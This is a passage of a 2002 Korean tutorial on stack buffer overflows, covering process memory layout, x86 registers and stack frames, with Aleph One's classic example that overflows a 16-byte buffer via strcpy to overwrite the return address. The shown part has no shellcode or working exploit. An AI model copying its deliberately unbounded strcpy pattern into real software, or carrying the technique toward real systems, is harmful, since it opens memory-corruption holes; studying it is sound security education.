82
Theory of Buffer Overflow vangelis([email protected] ) http://www.wowhacker.org http://www.wowsecurity.net 2002년 4월 30일 version 1.0

Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

  • Upload
    others

  • View
    1

  • Download
    0

Embed Size (px)

Citation preview

Page 1: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

Theory of Buffer Overflow

vangelis([email protected])

http://www.wowhacker.org http://www.wowsecurity.net

2002년 4월 30일

version 1.0

Page 2: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

서 문

Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적

으로 정리하고 이해하고자 하는 의도에서 작성되었다. 스스로 보아도 많이 부족한

글이다. 그래서 일단 완성된 문서가 아니라 계속 수정 및 추가될 것이므로 버전

1.0 이라는 단서를 붙여 두었다. 앞으로 많은 수정과 추가가 있을 것이다.

좀더 체계적이고 초보자들도 쉽게 이해할 수 있도록 작성하려고 노력했지만 그

목적이 완전히 달성된 것 같지는 않다. 그래서 앞으로 나올 수정판에서는 더욱 알

차고 쉬운 설명이 나올 수 있도록 하겠다.

나마저 허접 쓰레기를 인터넷 공간에 뿌리는 것은 아닌지 걱정이다. 다시 강조

하지만 이 문서는 베타 버전이다. 혹시라도 이 허접한 문서를 읽고 성의 있는 충고

해주실 분은 주저하지 마시길 바란다. 이 문서를 읽는 분들에게 도움이 전혀 되지

않는 쓰레기라면 폐기 처분할 생각이다.

이 문서는 공개용 문서로서, 비공개용 문서와는 다르다. 원래 이 문서는

wowcode의 개인 프로젝트로 시작된 것이다. 그래서 비공개용 문서는 몇 가지 이

유들로 인해 공개는 하지 않을 생각이다.

항상 발전하시길…

2

Page 3: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

- 차 례 -

1. 도입

2. buffer overflow란 무엇인가

2-1. Stack Overflow

2-1-1. 메모리 구조

2-1-2. 스택이란 무엇인가

2-1-3. 버퍼 오버플로우

2-1-4. 쉘코드

2-1-5. exploit

2-2. 오메가 프로젝트

2-3. Heap Overflow

2-3-1. 포인터 덮어쓰기

2-3-2. 함수 포인터 덮어쓰기

2-3-3. 최근 실전 예

3. 방어법

3-1. StackGuard

3-2. Libsafe

3-3. Grsecurity

3-4. Prelude

4. 참고문헌

3

Page 4: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

1. 도입

보안은 네트워크 세상이 이루어진 요즘 아주 중요한 문제로 대두되고 있다. 그런데 시

스템 관리자들이 흔히 가지고 있는 잘못된 인식 중에서 자신이 관리하고 있는 시스템의 보

안 문제에 대해서 잘 인식하고 있고, 최신 패치를 적용했기 때문에 자신의 시스템은 안전하

다고 생각하는 것이다. 하지만 뛰어난 해커의 경우 공개되지 않은 문제점에 대해 인식하고,

자신만의 공격기법을 가지고 있다. 이 경우 시스템의 문제점과 그 문제점을 공격하는 방법

이 공개되지 않고 일부에서만 공유되고 있어 자신의 시스템이 안전하다고 생각하고 있는 관

리자는 큰 위험에 빠질 수 있다.

뛰어난 해커는 관리자나 보안회사 직원들보다 한발 앞서 시스템의 문제점을 발견하고,

그 문제점에 대한 공격기법을 만들어낸다. 해커는 시스템의 작은 문제를 찾아내고, 그 문제

를 시스템을 장악하는 매개체로 사용한다. 탁월한 관리자는 시스템의 현재 문제를 인식하고,

그 문제가 공개되기 전에 먼저 패치를 하는 사람이다. 하지만 탁월한 해커는 그 탁월한 관

리자보다 먼저 문제점을 찾아내는 상상력과 능력을 가지고 있다는 점을 기억하자. 지식의

부족으로 간단한 패치를 적용하고 나서 시스템이 안전하다고 생각하는 미련함은 버려야 할

것이다.

오늘날 가장 많이 알려진 시스템 침입 테크닉은 buffer overflow 취약점과 format string

bug를 공격하는 것이다. 버퍼 오버플로우 취약점과 포맷 스트링 버그에 대해서는 해킹 및

보안을 공부하는 사람이라면 누구나 들어본 말이다. 하지만 누구나 들어본 말이지만 그 개

념에 대해 누구나 완벽하게 알고 있는 것은 아니다. 이 글의 주제는 버퍼 오버플로우 취약

점을 다루는 것에 그 목적이 있으므로 포맷 스트링 버그에 대해서는 자세하게 다루지는 않

을 것이다. 여기서는 간단히 두 가지 취약점에 대해서 비교만 해보기로 한다.

버퍼 오버플로우가 대중화된 것은 1980년대 중반 이후이며, 그것에 대한 위험 인식은

1990년대부터이다. 이 취약점을 공격하는 exploit는 다수가 발표되었다. 이에 비해 포맷 스트

링 버그는 1999년 6월 이후부터 대중화되었으며, 이것에 대한 위험인식은 2000년 6월부터이

다. 공격용 exploit의 수는 그렇게 적지는 않지만 버퍼 오버플로우 취약점에 비해 적은 편이

다. 포맷 스트링 버그에 대해서는 team-teso 그룹의 scut가 쓴 “Exploiting Foramt String

Vulnerabilities”1를 기회가 되면 읽어보기를 권한다.

2. buffer overflow란 무엇인가? 2-1. Stack Overflow 이제 버퍼 오버플로우에 대해서 좀더 자세하게 알아보기로 하자. 버퍼 오버플로우 취약

점을 공격하는 것은 1997년 Aleph One이 Phrack 매거진(http://www.phrack.org)에 “Smashing the

Stack for Fun and Profit”2라는 글을 발표하면서부터 본격적인 행보를 시작했다고 해도 틀린 말

1 http://teso.scene.at/releases/formatstring-1.2.tar.gz, 번역본은 필자가 번역한 자료를 와우해커

(http://www.wowhacker.org) lecture란에서 구할 수 있다. 2 http://www.phrack.org/show.php?p=49&a=14

4

Page 5: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

은 아니다. 아마도 이 글을 버퍼 오버플로우 취약점 공격에 대한 고전적인 문서일 것이다.

버퍼 오버플로우에 대해 공부하고자 한다면 반드시 읽어보아야 할 것이다. Aleph One은 이

글에서 버퍼 오버플로우 취약점 공격에 대한 이해를 위한 필수 지식으로 어셈블리어, 가상

메모리 개념, gdb3 사용법을 들고 있다. 물론 리눅스에 대한 지식은 필수적이라 하겠다. 이

글을 읽는 사람이라면 당연 C 언어, 어셈블리어, 메모리 구조, 리눅스 시스템에 대한 지식은

어느 정도 갖추고 있어야 할 것이다.

‘buffer overflow’라는 말을 그대로 해석한다면 ‘버퍼를 넘치게 한다’는 의미이다. 모든 공

부의 시작은 개념 정의와 개념에 대한 이해로부터 시작된다. 그렇다면 ‘buffer’라는 말이 무

엇인지 알아보자.

buffer란 같은 데이터 타입의 다양한 예를 가지고 있는 컴퓨터 메모리의 연속된 블록이

다. 데이터 타입이란 char, int형 등을 말한다. C 언어에 대해 기본적인 지식을 가진 사람이라

면 쉽게 알 수 있는 것들이지만 다음 예를 하나 살펴보자.

void function(int a, int b, int c)

{

char vangelis[7];

char security[8];

}

int main(void)

{

function(1,2,3);

}

버퍼가 무엇인지 이해하기 힘든 사람은 위의 보기에서 vangelis와 security가 버퍼라고

쉽게 생각하자.

보통 버퍼 오버플로우를 다룰 때 문제가 되는 것은 char형이며, 그 중에서도 문자 배열

이다. 참고로 문자열을 다루는 함수는 대부분 끝이 NULL이나 ‘\n’이나 EOF(-1)(예를 들어

gets()) 로 끝난다. 배열은 C 언어의 모든 변수와 마찬가지로 정적 및 동적으로 선언될 수

있다. 정적 변수는 데이터 세그먼트에 로딩시 할당되고, 스택에 실행시 할당된다. 여기서 다

룰 것은 정적 버퍼를 넘치게 해서 공격자가 원하는 작업을 하도록 하는 stack overflow이다.

버퍼를 넘치게 하는 것은 경계를 넘치게 하는 것이다. ‘경계를 넘치게 한다’는 것에 대

해서는 뒤에 자세한 설명이 나오므로 그것을 참고하자. C 언어에서는 프로그램의 성능을 높

이기 위해 버퍼의 경계를 체크하지 않는 문제점을 가지고 있다. 아마도 ‘바운드 검사를 하

지 않았다’라는 말을 들어본 적이 있을 것이다. 바운드 검사를 하지 않는 함수로서는 strcat,

3 http://sources.redhat.com/gdb/current/onlinedocs/gdb_toc.html

5

Page 6: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

문자열을 복사하는 함수로서 첫째 인자에 문자열이 저장될 장소를 두 번째 인자에 원본을

입력하는 strcpy, scanf, gets, sprintf, svprintf 등이 있다. 우리가 버퍼 오버플로우 취약점의 존재

유무를 확인하기 위해서 앞에서 언급된 함수가 소스에 사용되고 있는가를 확인하는 것도 한

방법이 될 것이다. 이 함수들에 대한 자세한 사항은 각자 공부하자.

버퍼를 넘치게 해서 얻을 수 있는 것은 무엇인가? 바로 쉘(shell)이다. 버퍼 오버플로우

취약점을 가진 프로그램을 이용해 공격자가 원하는 임의의 명령을 수행하도록 코드를 조작

해 쉘을 획득하는 것이다. 임의의 명령을 실행하게 하는 것에 대해서는 뒤에서 알아보도록

하자.

쉘이란 사용자나 응용 프로그램이 내린 명령을 이해하고 운영체계에 전달하는 명령 해

석기이다. 유닉스 계열에서 쉘의 종류에는 bash, csh 등이 있는데, 많은 리눅스 배포본의 기

본 설정은 본쉘(/bin/bash)로 되어 있는 경우가 많다.

유닉스 계열의 프로그램은 그 소유자가 있다. 만약 버퍼 오버플로우 취약점을 가진 프

로그램이 setuid root로 되어 있다면 어떻게 될까? 공격 코드(exploit)가 setuid root의 프로그램

을 실행시킨다면, 그리고 그것을 통해 쉘을 획득했다면 root shell을 획득하게 되는 것이다.

root shell은 시스템에 대해서 전지전능한 권한을 가진 root의 소유이다. 즉, root shell을 획득했

다는 것은 root의 권한을 획득했다는 것을 의미한다. root 권한을 획득했다는 것은 무엇이든

원하는 것을 다 할 수 있다는 말이 된다. root 권한 획득! 해킹의 꽃이 아닐 수 없다.

버퍼 오버플로우 공격에는 다른 공격과 마찬가지로 크게 로컬 공격과 리모트 공격으로

나눌 수 있다. 로컬 공격은 루트 권한을 가지지 않은 일반 계정의 사용자가 루트 권한을 획

득하는 것이고, 리모트 공격은 아무런 계정 없이 외부에서 시스템의 루트 권한을 획득하는

것이다. 로컬 공격의 경우 다양한 응용 프로그램이 그 공격의 대상이 되지만, 리모트 공격은

주로 서버 프로그램이 그 대상이 된다. 서버 프로그램이 대부분 루트 권한으로 실행되고 있

기 있기 때문에 취약한 서버 프로그램은 아주 위험할 수 있다. 그래서 보안 관계자들이 불

필요한 서버 프로그램은 실행시키지 말라고 하는 것이다.

다음 섹션에서는 메모리의 구조에 대해서 알아볼 것이다. 그 전에 버퍼 오버플로우 취

약점 공격법에 대해 이해하기 위해 필요한 것이 무엇인가에 대해 정리하면서 이 섹션을 끝

내도록 한다. 버퍼 오버플로우 취약점 공격에 대한 이해를 위해 C 언어 부분에서는 각종 데

이터형 중 char형에 대한 이해가 필요하며, 특히 char 형의 ‘배열’에 대해서 이해가 필요하다

고 했다. 그리고 각종 함수, buffer, 쉘, 일반 프로그램과 서버 프로그램의 차이점 등에 대한

이해도 필요하다.

2-1-1. 메모리 구조 스택 버퍼를 이해하기 위해 먼저 어떤 프로세스가 메모리에 어떻게 구성되어 있는지 이

해해야 한다. 사전에 말해 둘 것은 메모리와 스택의 구조는 CPU와 운영체계마다 다르다. 여

기서는 intel x86 계열의 CPU와 리눅스를 기본 운영체계로 가정하고 있다. 프로세스는 text,

data, 그리고 stack 세 영역으로 나누어져 있다. 다음은 프로세스의 메모리 영역을 보여준다.

6

Page 7: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

Text 낮은 메모리 주소

Data

Stack 높은 메모리 주소

여기서 우리가 stack overflow를 다루고 있기 때문에 stack 영역에 대해서 집중적으로 알

아보겠지만, 먼저 프로세스 세 영역에 대해 간단하게 알아보자.

text 영역은 프로그램에 의해 고정되어 있으며, 프로그램의 코드를 포함하고 있고, 읽기

전용으로 되어 있다. 이 영역은 실행 파일의 텍스트 섹션에 상응한다. 읽기 전용으로 되어

있기 때문에 여기에 쓰기를 시도하면 세그먼트 오류를 일으킨다. 즉, 영역 침입을 시도한 꼴

이 된다. 읽기만 가능한 영역에 쓰려고 했기 때문에 영역 침입을 한 것이라는 의미이다.

다음에서 알아볼 것은 data 영역이다. 이것에 대해 알아보기 전에 C언어의 변수에 관

해서 간단히 알아보자. 변수에는 크게 전역변수와 지역변수, 또는 정적변수와 동적변수로

나눌 수 있다. 전역변수를 선언하면, 프로그램 전체에서 전역변수가 유효한 반면, 지역변수

를 선언하면 그 지역변수가 선언된 함수 안에서만 유효한 값을 가진다. 정적 변수를 선언하

면, 선언된 데이터 유형의 크기만큼의 공간을 확보한다. 이 데이터 유형으로는 char, int,

double, pointer 등이 있다. PC타입의 컴퓨터에서 포인터는 32bit의 정수형 주소체계로 표현

된다. 정적 영역의 크기는 컴파일 되는 동안 정확히는 알 수 없다. 동적변수는 명시적으로

메모리 영역을 할당하므로, 포인터가 이 할당된 주소를 가르키고 있다. 더 자세한 것은 스

스로 공부하자. C 언어에 대한 이해가 있다면 그렇게 어려운 부분은 아니다.

data 영역은 초기화되었거나 초기화되지 않은 데이터를 포함하고 있으며, 정적 변수가

저장되어 있는 곳이다. 데이터 영역은 실행 파일의 bss 데이터 섹션에 상응한다. 즉, data

영역은 컴파일시 제공되는 초기화된 정적 전역 데이터가 저장되는 반면, bss 세그먼트는 초

기화되지 않은 전역 데이터가 저장된다. 이 영역은 그들이 가지고 있는 오브젝트에 의해 정

의된 그들의 크기가 있기 때문에 컴파일 될 때 보존된다. 여기의 크기는 brk() 시스템 호출

에 의해 변경될 수 있다. brk() 호출은 data 세그먼트의 크기를 변경하는 기능을 하는 것이

다. 만약 bss 데이터 또는 사용자의 스택이 이용할 수 있는 메모리를 다 소모해버릴 경우

프로세스는 봉쇄되고, 더 큰 메모리 공간을 확보하고 다시 실행되도록 다시 계획을 잡는다.

새로운 메모리는 데이터와 스택 세그먼트 사이에 추가된다.

2-1-2. 스택이란 무엇인가? 앞에서 메모리 구조를 다루다가 이렇게 독립된 섹션에서 스택을 다루는 이유는 분명하

다. 스택 오버플로우를 다루고 있기 때문이다. 스택이란 추상적인 데이터 타입이다. 추상적

이기 때문에 공부할 때 어려움을 느낄 때가 많다. 해커가 갖추어야 할 덕목 중에서 하나가

바로 상상력이다. 상상력은 새로운 곳으로 인도해주는 역할을 한다.

7

Page 8: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

스택은 마지막에 위치한 것이 먼저 제거되는 속성을 가지고 있다. 이 속성은 보통 LIFO

라고 불린다. LIFO란 last input, first out의 두문자이다. 여러 오퍼레이션이 스택에 정의되어

있는데, 그 중에서도 가장 중요한 것이 PUSH와 POP이다. PUSH는 스택의 꼭대기에 요소를

추가하고, POP은 스택의 꼭대기에 있는 마지막 요소를 제거함으로써 스택의 크기를 줄인다.

우리가 스택을 사용하는 것은 함수와 프로시저를 사용하기 위해서이다. 함수와 프로시

저는 어떤 실행 가능한 프로그램을 만드는 가장 중요한 테크닉이기도 하다. 프로시저 호출

은 jump가 하는 것처럼 프로그램의 흐름을 변경하지만, jump와는 달리 그것의 명령을 끝낸

후에는 리턴한다. 리턴 어드레스(RET)는 이 목적을 위해 스택에 위치하게 된다. 즉, 프로그

램은 텍스트 영역을 읽으면서 실행되고, 함수를 호출할 때 그 함수가 자신의 역할을 끝낸

후 돌아올 주소(리턴 어드레스)를 스택에 저장하는 것이다. 함수의 실행이 끝나면 스택에

저장한 리턴 어드레스를 참조하여 프로그램 코드를 실행한다. 이때 이 리턴 어드레스를 변

경할 수 있다면 프로그램의 흐름을 바꿀 수도 있게 된다. 버퍼 오버플로우 공격의 원리가

나왔다. 즉, 스택은 함수로부터 push된 또는 return된 값이 있는 곳으로, 스택을 오버플로우

시키기 위해 실행하기를 원하는 명령어를 메모리의 어떤 곳에 jump 하도록 코드를 만들어

리턴 주소를 변경하는 것이다. 리턴 어드레스에 대한 개념은 버퍼 오버플로우 공부를 할 때

아주 중요하므로 정확하게 개념을 익혀두자.

스택은 또한 함수에 사용되는 지역 변수를 동적으로 할당하고, 함수에 인자를 건네주고,

함수로부터 값을 리턴하기 위해 사용되기도 한다. 다소 복잡해지기 시작했지만 C 언어와

메모리 개념에 대한 이해를 충실히 갖추고 있다면 어려운 내용은 아니다.

이제 좀더 자세하게 스택 영역에 대해서 알아보자. 더 나아가기 전에 우리는 레지스트

(register)에 대해 알아볼 필요가 있다.

레지스터는 마이크로프로세스의 일부분으로서 아주 적은 데이터를 잠시 저장할 수 있는

공간이며, 하나의 명령어에서 다른 명령어 또는 운영체계가 제어권을 넘긴 다른 프로그램으

로 데이터를 전달하기 위한 장소를 제공한다. 하나의 레지스터는 하나의 명령어를 저장하기

에 충분히 커야 하는데, 예를 들어 32 비트 명령어 컴퓨터에 사용되는 레지스터의 길이는

32 비트 이상이어야 한다. 그러나 어떤 종류의 컴퓨터에서는 길이가 짧은 명령어를 위해,

하프 레지스터라고 불리는 크기가 더 작은 레지스터를 쓰기도 한다. 프로세서 설계나 언어

규칙에 따라 차이가 있지만, 레지스터에는 대개 번호가 붙어있거나 또는 나름대로의 이름을

가지고 있다.

레지스트는 CPU가 데이터를 처리하는 동안 사용할 값이나 연산의 중간 결과를 일시적

으로 저장해 두기 위해 사용되는 CPU 내의 고속 기억 장치이기 때문에 당연히 매 순간 새

로운 값이 레지스트에 들어간다. 새로운 값이 들어갈 때 이전의 저장된 값은 제거된다. 레

지스트는 메모리와 CPU 사이에 직접 통신이 가능하다.

레지스트는 크게 4 부분으로 나눌 수 있으며, 각 이름 앞에 붙어 있는 ‘e’는

‘extended’를 의미한다. 즉, 16 비트 구조에서 32 비트 구조로 확장되었다는 것을 의미하는

것이다. (참고로 여기서는 x86 시스템을 기준으로 하고 있다.)

8

Page 9: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

1. 일반적인 레지스트: data를 주로 다루는 레지스트로, %eax, %ebx, %ecx, %edx 등

이 있다.

2. 세그먼트 레지스트: 메모리 주소의 첫번째 부분을 가지고 있는 레지스트로, 16비

트 %cs, %ds, %ss 등이 있다.

3. offset 레지스트: 세그먼트 레지스트에 대한 offset을 가리키는 레지스트이다.

%eip(extended instruction pointer): 다음에 실행될 명령어에 대한 주소

%ebp(extended base pointer): 함수의 지역변수를 위한 환경이 시작되는 곳

%esi(extended source index): 메모리 블록을 이용한 연산에서 데이터 소스

offset을 가지고 있다.

%edi(extended destination index): 메모리 블록을 이용한 연산에서 목적지 데

이터 offset을 가지고 있다.

%esp(extended stack pointer): 스택의 꼭대기를 가리킨다.

4. 특별한 레지스트: CPU에 의해서 사용되는 레지스트이다.

x86 CPU의 레지스터 구조를 그림으로 알아보자.

← 2바이트 → ← 2바이트 →

EAX AX Extended Accumulator

EBX BX Extended Base

ECX CX Extended Count

EDX DX Extended Data

ESP SP Stack Pointer

EBP BP Base Pointer

ESI SI Source Index

EDI DI Destination Index

EIP IP Instruction Pointer

EFLAGS FLAGS Status Flags

CS Code Segment

SS Stack Segment

ES Extra Segment

DS Data Segment (1)

FS Data Segment (2)

CS V

9

Page 10: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

다시 말하지만 스택이란 데이터를 포함하고 있는 메모리의 연속적인 블록이다.

SP(stack pointer)라고 불리는 레지스터는 스택의 꼭대기를 가리킨다고 했다. 스택의 바닥

은 고정된 주소에 있다. 그것의 크기는 실행시 커널에 의해 동적으로 조정되는데, CPU는

스택에 PUSH하고, POP하기 위해 명령어(instruction)를 구현한다. 즉, 스택은 함수를 호

출할 때 PUSH 되고, 리턴할 때 POP 되는 논리적 스택 프레임으로 구성된다. 스택 프

레임은 함수에 대한 인자, 지역 변수, 그리고 함수 호출시에 명령어 포인터(IP)의 값을

포함하여 이전 스택 프레임을 복원하기 위해 필요한 데이터를 포함하고 있다.

스택은 구현에 따라 아래로(낮은 메모리 주소) 자라거나 위로 자란다. 여기서 사용

되고 있는 것은 아래로 자라는 것이다. 스택이 아래로 자라는 CPU의 예가 Intel,

Motorola, SPARC, MIPS 등이 있다. 스택 포인터(SP) 역시 CPU 구현에 따라 스택 상의

마지막 주소를 가리키거나 또는 스택 다음의 이용 가능한 주소를 가리킬 수 있다. 이

글에서는 스택의 마지막 주소를 가리킨다고 가정하고 있다.

프레임 내에 고정된 위치를 가리키는 프레임 포인터(FP)라는 것도 있는데, 어떤 글

에서는 로컬 베이스 포인터(local base pointer, LB)라고도 부른다. 이론 상으로 지역 변

수는 SP로부터 그들의 offset을 줌으로써 참조될 수 있다. 하지만 word가 스택 위에

push 되고 스택으로부터 pop 됨에 따라 이 offset은 변한다. word에 대해서는 다음 페

이지를 참고하자.

결과적으로 많은 컴파일러들은 지역변수와 인자 둘 다를 참조하기 위해 FP 레지스

트를 사용한다. 왜냐하면 FP로부터 거리가 PUSH와 POP으로 변하지 않기 때문이다. 인

텔 CPU에서는 BP(EBP)가 이 목적을 위해 사용된다.

프로시저가 호출될 때 처음으로 해야 하는 것은 이전 SP를 저장하는 것이다. 그래

서 그것은 프로시저가 exit 될 때 저장될 수 있다. 스택 포인터를 저장한 후 새로운 FP

를 만들기 위해 SP를 FP로 복사하고, 지역 변수를 위한 공간을 확보하기 위해 SP로 나

아간다. 이 코드는 프로시저 프롤로그(procedure prolog)라고 불린다. 프로시저가 exit

하면 스택은 다시 비워져야 하는데, 이것을 프로시저 에필로그(procedure epilog)라고

부른다. 프로시저 프롤로그와 에필로그를 위해 인텔의 경우 ENTER와 LEAVE 명령어를,

그리고 모토로라의 경우 LINK와 UNLINK 명령이 제공되어 왔다.

함수 호출이 메모리에 어떻게 구현되는가는 아주 중요한 것이므로 다시 정리해보자.

유닉스 시스템에서 함수호출은 다음과 같이 세 단계로 나눌 수 있다.

1. prologue: 현재의 프레임 포인터가 저장된다. 프레임이란 일종의 스택의 논리

적 단위(unit)이며, 함수와 관련된 모든 요소들을 포함하고 있다. 함수에 필요

한 메모리의 양이 할당된다.

2. call: 함수가 리턴할 때 어떤 명령이 고려되어야 할지 알기 위해 함수의 파라

미터가 스택에 저장(store)되고, instruction pointer가 저장(save)된다.

3. return(또는 epilogue): 이전 스택 상태가 복원된다.

10

Page 11: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

이제 스택이 어떻게 생겼는지 알아보자. 여기서 사용되는 소스코드의 일부는 Aleph

One의 것을 사용하기로 하겠다. 버퍼 오버플로우 관련 문서는 수없이 많으며, 소스 코

드 또한 많이 있다. 하지만 Aleph One의 글이 버퍼 오버플로우에 대한 고전이라는 것을

감안하였고, 그의 글부터 버퍼 오버플로우 공부를 대부분 시작하기 때문이다.

example.c by Aleph One

______________________________________________________________________________________

void function(int a, int b, int c){

char buffer1[5];

char buffer2[10];

}

void main(){

function(1,2,3);

}

_____________________________________________________________________________

이 프로그램이 function()을 호출하기 위해 무엇을 하는지 이해하기 위해 –S 스위치를 주고

gcc로 컴파일 한다. 이것은 어셈블리어 코드를 생성하기 위한 것이다. 다음은 컴파일 한 것

의 결과이다. 컴파일은 gcc 2.91 버전에서이다.

$ gcc –S –o example.s example.c

example.s의 내용을 보면 function()에 대한 호출은 다음과 같이 나왔다.

pushl $3

pushl $2

pushl $1

call function

이것은 3개의 인자를 스택 안으로 함수를 거꾸로 push하고, function()을 호출한다.

‘call’이라는 명령어는 명령어 포인터(IP)를 스택 위로 push 할 것이다. 우리는 저장된 IP를

리턴 어드레스(RET)로 호출할 것이다. 함수에서 처음으로 이루어진 것은 프로시저 프롤로그

이다.

pushl %ebp

pushl %esp,%ebp

subl $20,%esp

11

Page 12: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

이것은 프레임 포인터인 EBP를 스택상에 push 한다. 그런 다음 현재의 ESP를 EBP로

복사하여 새로운 FP 포인터로 만든다. 우리는 저장된 FP 포인터를 SFP로 호출할 것이다.

그런 다음 SP로부터 크기를 빼서 지역 변수를 위한 공간을 할당한다.

우리는 메모리에서 word의 크기는 다양하게 지정될 수 있다는 것을 기억해야 한다. 여

기서의 경우 한 word는 4바이트이다. 그래서 5바이트는 메모리 공간을 위해 8바이트(2개의

word)를 가지게 되고, 10바이트는 당연히 3개의 word 공간, 즉 12바이트를 가지게 된다.

이것이 왜 SP가 20이 빠진 것의 이유이다. 이것을 염두에 두고 function()이 호출될 때 스

택의 모양은 다음과 같다. 각 공간은 1바이트를 나타낸다.

메모리의 메모리의

바 닥 꼭 대 기

--------- buffer2 buffer1 sfp ret a b c

[ ][ ][ ][ ][ ][ ][ ]

스택의 스택의

꼭대기 바 닥

이것을 바탕으로 스택의 일반적인 도식도는 다음과 같다.

지역변수(버퍼) SFP RET 함수 인자

참고로 gcc 버전 2.96에서는 다음과 같은 결과가 나왔다. 컴파일은 와우 리눅스 파란

버전에서 실시했다.

12

Page 13: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

2-1-3. 버퍼 오버플로우

버퍼 오버플로우는 지정된 양보다 더 많은 데이터를 버퍼에 넣으므로써 발생한다. 다음

예를 보자. 버퍼를 채워 오버플로우 시키는데 사용될 데이터는 보통 egg라고 불린다.

example2.c by Aleph One

_________________________________________________________________________________

void function(char *str){

char buffer[16];

strcpy(buffer,str);

}

void main(){

char large_string[256];

int i;

for(i=0;i<255;i++)

large_string[i]=’A’;

function(large_string);

}

_________________________________________________________________________________

아주 극단적으로 버퍼 오버플로우 코딩 에러를 보이는 함수를 가지고 있는 예이다. 이

프로그램은 strncpy() 대신 strcpy()를 사용함으로써 경계 검사 없이 공급된 스트링을 복사

한다. 좀 더 자세하게 설명해보자. 먼저 str에 255개의 A를 넣는다. 그런 다음 str을 buffer

에 복사한다. buffer는 16 바이트를 할당 받은 상태이다. 그래서 255개의 A 중에서 16개만

buffer에 복사된다. 나머지는 buffer에 들어갈 수 없으므로 SFP 영역으로 들어간다. SFP는

4바이트 이므로 SFP 영역으로 들어가도 아직 235개가 남아 있다. 그렇다면 RET 영역으로

도 역시 들어가게 된다. 즉, RET도 4바이트이며, 이 영역도 덮어 쓰이게 되어 RET 값이 변

경된 것이다.

이 프로그램을 컴파일 해서 실행하면 세그먼트 오류가 발생한다. 다음은 함수를 호출했

을 때의 스택 모양이다.

13

Page 14: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

메모리의 메모리의

바 닥 꼭 대 기

--------- buffer sfp ret *str

[AAAAAAAAAAAAAAAA][AAAA][AAAA][AAAA…]

스택의 스택의

꼭대기 바 닥

여기서 세그먼트 오류가 발생한 것은 strcpy()가 *str(large_string[])를 buffer[]에 널

문자가 나올 때까지 복사를 하기 때문이다. buffer[]는 *str보다 훨씬 작다. buffer[]는 16바

이트의 길이이고, 그것에 256 바이트를 쑤셔 넣어려고 한다. 이것은 스택에 있는 버퍼 다음

에 250 바이트 전체가 덮어쓰인다는 것을 의미한다. 이것은 SFP, RET, 그리고 심지어 *str

도 포함하고 있다. 그리고 large_string을 ‘A’로 채웠다. ‘A’의 hex 문자 값은 0x41이다. 이

것은 리턴 어드레스가 이제 0x41414141이라는 것을 의미한다. 이것은 프로세스 어드레스

공간의 밖이다. 이것이 함수가 리턴하고, 그 주소로부터 다음 명령을 읽으려고 할 때 세그

먼트 에러가 나는 것의 이유이다.

그래서 버퍼 오버플로우는 어떤 함수의 리턴 어드레스를 바꾸도록 하는 것을 허용한다.

이렇게 하여 프로그램의 실행 흐름을 변경할 수 있다. 다시 첫번째 예를 통해 리턴 어드레

스를 덮어쓰고, 임의의 코드를 실행하는 것을 살펴보자. example.c의 스택 도식도는 다음과

같았다.

메모리의 메모리의

바 닥 꼭 대 기

--------- buffer2 buffer1 sfp ret a b c

[ ][ ][ ][ ][ ][ ][ ]

스택의 스택의

꼭대기 바 닥

buffer1[] 앞에 있는 것은 SFP이다. 그리고 그것 앞에 RET이 있다. 전후 관계는 스택

의 바닥에서 스택의 꼭대기로 간다는 것을 알아두자. buffer1[]의 끝에 4바이트가 지나간다.

하지만 buffer1[]은 실제로 두개의 word이고, 그래서 8바이트의 길이라는 것을 기억하자.

word란 4바이트로 된 블록을 말한다. 아마 이것에 대한 이해가 쉽지 않을 것 같아서 추가

설명을 하기로 한다.

아래 그림 1과 2는 메모리에 자리잡고 있는 버퍼의 모양이다.

14

Page 15: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

그림1) 그림2)

₩0 c b a

₩0 j

i h g f

₩0 c b a

그림 1)에서는 하나의 word가 4바이트이므로 마지막에 null 바이트가 들어가 있다. 그

